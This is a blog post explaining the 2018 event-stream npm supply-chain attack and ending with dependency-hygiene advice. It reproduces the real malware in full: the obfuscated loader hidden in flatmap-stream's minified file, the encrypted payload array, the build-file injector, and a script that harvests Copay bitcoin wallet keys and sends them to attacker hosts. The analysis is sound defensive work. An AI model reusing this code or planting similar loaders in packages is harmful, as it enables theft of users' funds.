Zach Schneider · 2018-11-27 · development, javascript, security

event-stream vulnerability explained

If you work with JavaScript at all, you probably saw a ton of noise yesterday about a vulnerability in the event-stream npm package. Unfortunately, the actual forensic analysis of the issue is buried under 600+ comments on the GitHub issue, most of which are just people flaming about the state of npm, open source, etc. I thought that was a shame, because the vulnerability was actually exceptionally clever and technically interesting, and teaches some important lessons about maintaining security in JavaScript applications. So I decided to write an explainer detailing what happened, how the attack worked, and how the JavaScript community can better defend against similar attacks in the future.

Before I begin, I want to credit FallingSnow, maths22, and joepie91 for their excellent forensic analysis. They did all of the hard work of analyzing the vulnerability and working out what it did. I'll credit them again later when I cite their findings, but I think it's worthwhile to explicitly state upfront that I didn't work any of this out myself; I'm just summarizing what others have learned.

The background

event-stream is a very popular npm package which exposes a number of helpers for working with streams inside a node application. It currently receives over 1.9 million weekly downloads. However, it hasn't been in active development for a couple of years; its author, dominictarr, maintains a large number of projects and no longer had a personal use for event-stream so it fell to the wayside.

Sometime around early to mid September, a user with the handle right9ctrl (their GitHub account is now deleted) offered to take over maintenance duties; dominictarr agreed and gave right9ctrl access on GitHub and npm. The commit log of their contributions looks innocuous on its surface:

Screenshot of event-stream commit log on GitHub

On September 9, right9ctrl added a dependency called flatmap-stream in order to support a flatmap function in event-stream (not at all out-of-place as event-stream already exposes similar utilities like a regular map). Then, on September 16, right9ctrl removed the flatmap-stream dependency and directly implemented the flatmap function within event-stream. Again, nothing to really raise concern here: it's certainly not uncommon to add a new dependency and then decide a few days later that it would be better to implement yourself.

The attack

The flatmap-stream library also appears innocuous on its surface -- it does, in fact, implement a flat map for streams (though it should raise some eyebrows if anyone were looking at it -- 1 contributor, no downloads on npm prior to this event).

Screenshot of flatmap-stream on GitHub

However, the version published to npm snuck some additional code into the minified file, which you would be entirely forgiven for missing even if you knew it was there:

var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();

The malicious piece is the part at the end, which is deliberately obfuscated to avoid detection:

!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();

In the issue report, FallingSnow unminified the code to show what it's doing:

// var r = require, t = process;

// function e(r) {
//     return Buffer.from(r, "hex").toString()
// }
function decode(data) {
    return Buffer.from(data, "hex").toString()
}

// var n = r(e("2e2f746573742f64617461")),
// var n = require(decode("2e2f746573742f64617461"))
// var n = require('./test/data')
var n = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]
// o = t[e(n[3])][e(n[4])];
// npm_package_description = process[decode(n[3])][decode(n[4])];
npm_package_description = process['env']['npm_package_description'];

// if (!o) return;
if (!npm_package_description) return;

// var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
// var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description),
var decipher = require('crypto')['createDecipher']('aes256', npm_package_description),

// a = u.update(n[0], e(n[8]), e(n[9]));
// decoded = decipher.update(n[0], e(n[8]), e(n[9]));
decoded = decipher.update(n[0], 'hex', 'utf8');

console.log(n); // IDK why this is here...

// a += u.final(e(n[9]));
decoded += decipher.final('utf8');

// var f = new module.constructor;
var newModule = new module.constructor;

/**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/
// f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
// newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1])
// newModule.paths = module.paths
// newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename)
// newModule.exports(n[1])

So, the code requires in ./test/data.js, which was also snuck into the npm published version of flatmap-stream despite not being in the GitHub source. The test/data.js file contains an array of AES256-encrypted strings. The npm_package_description environment variable is set by npm when a script is run in a parent package -- essentially, whatever top-level package is including event-stream -> flatmap-stream as dependencies will have its description set to npm_package_description (along other bits of metadata). So, the code decrypts the contents of test/data.js using the npm_package_description as the AES256 key, and attempts to execute the result.

For the vast majority of parent packages, this will result in an error (which the malicious code silently catches and ignores), since their package description won't be the correct AES256 key and the output will be nonsense. So it's a very targeted attack against just one package. maths22 and others pulled the list of npm packages which include event-stream as a dependency and brute-forced it until they figured out the targeted package: copay-dash, a bitcoin wallet platform. Its description, "A Secure Bitcoin Wallet", successfully decrypts the test/data.js contents into the following (courtesy of joepie91):

/*@@*/
module.exports = function(e) {
    try {
        if (!/build\:.*\-release/.test(process.argv[2])) return;
        var t = process.env.npm_package_description,
            r = require("fs"),
            i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
            n = r.statSync(i),
            c = r.readFileSync(i, "utf8"),
            o = require("crypto").createDecipher("aes256", t),
            s = o.update(e, "hex", "utf8");
        s = "\n" + (s += o.final("utf8"));
        var a = c.indexOf("\n/*@@*/");
        0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
            try {
                r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
            } catch (e) {}
        })
    } catch (e) {}
};

This code runs another round of decryption and executes the final malicious script:

/*@@*/ ! function() {
    function e() {
        try {
            var o = require("http"),
                a = require("crypto"),
                c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----";

            function i(e, t, n) {
                e = Buffer.from(e, "hex").toString();
                var r = o.request({
                    hostname: e,
                    port: 8080,
                    method: "POST",
                    path: "/" + t,
                    headers: {
                        "Content-Length": n.length,
                        "Content-Type": "text/html"
                    }
                }, function() {});
                r.on("error", function(e) {}), r.write(n), r.end()
            }

            function r(e, t) {
                for (var n = "", r = 0; r < t.length; r += 200) {
                    var o = t.substr(r, 200);
                    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
            }

            function l(t, n) {
                if (window.cordova) try {
                    var e = cordova.file.dataDirectory;
                    resolveLocalFileSystemURL(e, function(e) {
                        e.getFile(t, {
                            create: !1
                        }, function(e) {
                            e.file(function(e) {
                                var t = new FileReader;
                                t.onloadend = function() {
                                    return n(JSON.parse(t.result))
                                }, t.onerror = function(e) {
                                    t.abort()
                                }, t.readAsText(e)
                            })
                        })
                    })
                } catch (e) {} else {
                    try {
                        var r = localStorage.getItem(t);
                        if (r) return n(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(t, function(e) {
                            if (e) return n(JSON.parse(e[t]))
                        })
                    } catch (e) {}
                }
            }
            global.CSSMap = {}, l("profile", function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
                        var t = this;
                        t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
                    }.bind(n))
                }
            });
            var e = require("bitcore-wallet-client/lib/credentials.js");
            e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e);
                try {
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", e) : e()
}();

As you may have guessed by now, this script tries to steal your bitcoin wallet and upload it to the attacker's server.

Edit: the npm team has released their official incident report, which further clarifies that the malicious code is intended to run in Copay's release process and inject the bitcoin-stealing script into Copay's wallet application.

So, to summarize:

copay-dash is a popular bitcoin platform which includes event-stream as a dependency.
For about a week in September, event-stream included flatmap-stream as a dependency, as it was passed along to a new maintainer who added the dependency and removed it a week later.
flatmap-stream had some code hiding at the end of its minified built output which attempts to decode and execute strings from its packaged test/data.js file, using the description of the top-level package as the AES256 key.
For any other package, this produces a silently handled error (as the package description/decryption key is wrong). But for copay-dash, this produces some valid JavaScript which runs another round of decryption and executes a malicious script that steals your bitcoin wallet.

What now?

This was an incredibly clever attack, very reminiscent of this blog post from January about how a similar attack might work. The attacker covered their tracks well -- the code and commit log on GitHub all tell an innocuous and fairly common story (a new maintainer joins a project, adds a feature, and then tweaks the implementation of their feature a bit). Other than the warning signs about flatmap-stream (new package, no contributors or download activity), the attack was virtually undetectable. And indeed, it wasn't discovered for over two months -- it was only found because the attacker made a tiny mistake and used the deprecated crypto.createDecipher rather than crypto.createDecipheriv, which raised a suspicious deprecation warning in another library that consumes event-stream.

Unfortunately, this genre of attack isn't going away anytime soon. JavaScript is the most popular language right now and it's not really close, meaning it will continue to be an attractive target for hackers. JavaScript also has relatively few standard-library convenience features compared to other languages, which encourages developers to import them from npm packages instead -- this, along with other cultural factors, means that JavaScript projects tend to have massive dependency trees.

It's worth noting here that while JavaScript applications are relatively susceptible to this class of vulnerability, that's not necessarily a reason why JavaScript is less secure overall. JavaScript tends to be used by fast-moving teams that stay close to the cutting edge, which means its users install a lot of packages and updates, and are thus vulnerable to malicious updates. But Equifax's Java app was breached for exactly the opposite reason -- they didn't install a security update to Apache Struts for months. That class of vulnerability is far less likely to happen on a fast-moving JavaScript app. In the end, there will always be security tradeoffs involved in choosing a technology stack; the important takeaway is to understand the failure modes for your particular application and be vigilant against them.

What does this mean for JavaScript stacks? There's no shortage of ideas and proposals for how npm or community organizations could prevent these attacks. But for end users, there are at least two essential steps to reducing your exposure:

Use a lockfile. Whether it's yarn's yarn.lock or npm's package-lock.json, a lockfile ensures that you get the same package versions on every install, so if you're secure today then you'll be secure tomorrow as well. Apps that utilize floating dependencies without a lockfile are particularly vulnerable to malicious updates, because they will automatically install the latest patch version of their dependencies -- meaning that you may be compromised as soon as your next deploy, if one of your dependencies is compromised and publishes a malicious patch. With a lockfile, you at least limit your exposure to manual developer actions that add or update a package, which can be double-checked via code reviews and organizational policies.
Think before you install. This isn't a panacea -- as demonstrated above, it's easy for attackers to slip malicious code into minified output, which is hard to find even if you knew it was there. But you will drastically reduce your exposure if you stick to popular, well-maintained packages. Before you install a new dependency, first, ask yourself if you really need it. If you already know how to write the code, and it won't take you more than a few dozen lines, just do it yourself. If you do need the dependency, scope it out before you install. Does it have high download numbers on npm? Does the GitHub repo appear well-maintained and active? Has the package been updated recently? If not, also consider forking the repository and either publishing a fork to npm or installing the package directly from your GitHub; this reduces risk because you aren't exposed to future malicious updates, and you can read and minify the source yourself so you're confident about what it really does.